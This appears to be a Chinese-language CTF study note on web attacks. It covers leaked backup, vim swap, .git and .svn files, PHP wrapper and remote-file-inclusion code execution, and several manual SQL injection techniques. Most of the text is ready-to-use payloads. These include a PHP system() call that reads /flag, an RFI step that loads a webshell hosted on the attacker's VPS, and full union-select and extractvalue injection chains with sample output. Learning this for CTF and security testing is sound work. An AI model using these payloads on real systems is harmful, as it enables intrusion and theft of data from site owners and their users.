一.备份文件下载
1.网站源码
常见网站源码备份文件后缀:tar tar.gz zip rar
常见文件名: web website backup back www wwwroot temp
访问方式:直接url+/文件名
2.bak缓存文件
漏洞原因:网站管理员为了方便,修改文件前先copy一份,一般命名为xxx.bak
且大部分server不对bak处理,可以直接下载
3.vim缓存文件
漏洞原因:使用vim时会创建临时缓存文件,关闭的时候会删除,但是!但是!如果异常退出,可以通过这个缓存文件进行恢复
比如 index.php 第一次异常交换文件为 .index.php.swp
第二次 .index.php.swo
第三次 .index.php.swn
以上文件都是二进制文件,需要转码
利用方式:1.直接crul这个文件,在vim缓存中,二进制文件中的明文会被保留
2.直接wget 下载文件,然后vim打开,选择恢复文件
4.DS.Store
漏洞原因:ds_store是macos保存文件夹的自定义属性的隐藏文件,通过ds_store可以获得目录的文件清单
利用方式:直接访问
二.Git泄露
1.Log
漏洞原因: 开发人员使用git进行版本控制,对站点自动部署,可能会将.git文件夹直接丢到线上环境,然后通过git log命令,发现有敏感操作
将操作前和操作后进行differ他们的commit值,就可以得到他操作了什么内容
利用:1.用GitHack下载后,对敏感操作进行比对
2.或者通过git reset 直接切换版本
附:GitHack工作流程:
1.尝试从packs clone->2.目录遍历clone->3.从缓存文件(index,commit)等记录中恢复
2.stash
什么是stash?
stash是用于保存git的工作状态到git栈,需要用的时候再从那里恢复
如何利用:
1.GitHack后git stash list检查是否有stash
执行git stash pop直到敏感文件出现
2.在.git/refs/stash进行diff
三.SVN泄露
1.什么是SVN
svn即是'subversion'是一个开源的管理系统,用于多人开发同一个项目
2.如何利用?
利用工具 dvcs-ripper中的./rip-svn.pl 把源网站的url+/.svn进行clone
然后再.svn里面找敏感文件,如在wc.db中找
3.遇到的问题:
arch下跑dvcs-ripper会遇到无法连接DBI问题,即DataBase Interface,利用yay找,下了好几个,最终解决
4.埋的坑:
dvcs-ripper的github库readme说他们提供docker版的,那会我的dbi没解决,于是试着接触一下docker
大概学了一下如何拉取,允许,发现这里要用到redis项目的docker,要开好几个终端,相互通信,并且给了一大堆todolist,没时间,改天弄
0x02RCE
一.php://input伪协议
前置条件:
allow_url_fopen,allow_url_include必须为open
原理将递交的内容以php代码的形式
利用方式:
在post/get提交数据的时候,加上?id=php://input
然后在body里面加上php代码
<?php system("cat /flag"); ?php>
二.php://filter
即是过滤器,格式?id=php://filter/参数=xxxx
参数:
1.resource 过滤的数据流,如resource=flag
2.read 读入链,对整个进行操作,如以base64格式解码输出/read=convert.base64-encode/resource=/flag
3.wrirte
4.还有一堆我看不懂的
三.命令注入
正如其名,没啥好说的,你能知道是啥命令一般都是白盒审计,这里介绍一些操作
php_exec函数:
不是linux命令嗷
exec(a,b)
是把a运行的结果,放到b数组里面
管道命令符:
不同系统不同字符有区别,用的时候自己查,这里不列举了
四.RFI远程执行
在你的vps上命名一个a.txt然后写上一句话木马,然后在目标网页进行?id=http://vps网址/a.txt
0x03sql注入
## 整形手工注入
1.验证注入点
?id = 1 and 1=1 #返回正确
1 and 1=2 #返回错误
2.猜字段数
order by x x是字段数字,如果正确则有回显,若不正确则无回显
3.爆数据库名
``(?id=)1 and 1=2 union select 1,database()``
4.爆表名
(?id=)1 and 1=2 union select 1,group_concat(table_name)from information_schema.tables where table_schema='sqli'
5.爆列名
?id=1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name='flag'
6.查flag
``?id=1 and 1=2 union select 1,group_concat(flag) from sqli.flag``
## 字符型手工注入
1.验证注入点
(?id=)1' '
-----------回显
ID:1
Data:ctfhub
2.查库
``(?id=)123' union select database(),10 # '``
-----------回显:
ID:sqli
Data:2
3.查表名
''(?id=)123' union select group_concat(table_name),
3 from information_schema.tables where table_schema='sqli' #'
-----------回显:
ID: news,flag
Data: 3
4.查字段名
123' union select group_concat(column_name),
3 from information_schema.columns where table_name='flag' #'
----------回显:
ID:flag
Data:3
5.查flag
``123' union select flag,3 from sqli.flag # `` '
----------回显:
ID:ctfhub{xxxxxxx}
Data:3
/*
小知识
注入中经常会碰到 --+
--在sql语句中是注释的意思,而+在sql中是空格的意思,
比如你吧注入的内容放到url里,就会发现空格转码成了+
而不是%20
*/
## 报错注入
以下正确回显格式
XPATH syntax error:'~内容~'
1.尝试使用报错函数
``?id=1 and extractvalue(1,concat(0x7e,database(),0x7e))--+``
2.爆表名字
?id=1 and extractvalue(1,concat(0x7e,(select group_concat(table_name)
from information_schema.tables where table_schema=database()),0x7e))--+
3.爆列名
?id=1 and extractvalue(1,concat(0x7e,(select group_concat(column_name)
from information_schema.columns where table_name='flag'),0x7e))--+
4.爆数据
``?id=1 and extractvalue(1,concat(0x7e,(select flag from flag),0x7e))--+``
遇到问题:对长度限制,则用MID函数
``SELECT MID(column_name,start[,length]) FROM table_name;中括号里面的内容可选``
## cookie注入
通过burpsuite修改cookie字段
1.爆字段数
在id=1后加order by 1 来判断有几个字段,
在修改到order by 2之前是正常,之后就会出问题了。说明只有两个字段
2.爆数据库版本和库名
``id=-1 union select version(),database()``
因为数据库版本大于5.0所以我们直接用information_schema来查
3.爆表名和列名
id=-1 union select group_concat(table_name),
2 from information_schema.tables where table_schema='sqli'
得到ID:表名
```
id=-1 union select group_concat(column_name),2 from information_schema.columns where table_name='gdctsoiitj'//gdctsoiitj是上一步查找到的库名
```
得到ID:列名
4.查flag
``id=-1 union select zrxzhzkosa,2 from gdctsoiitj``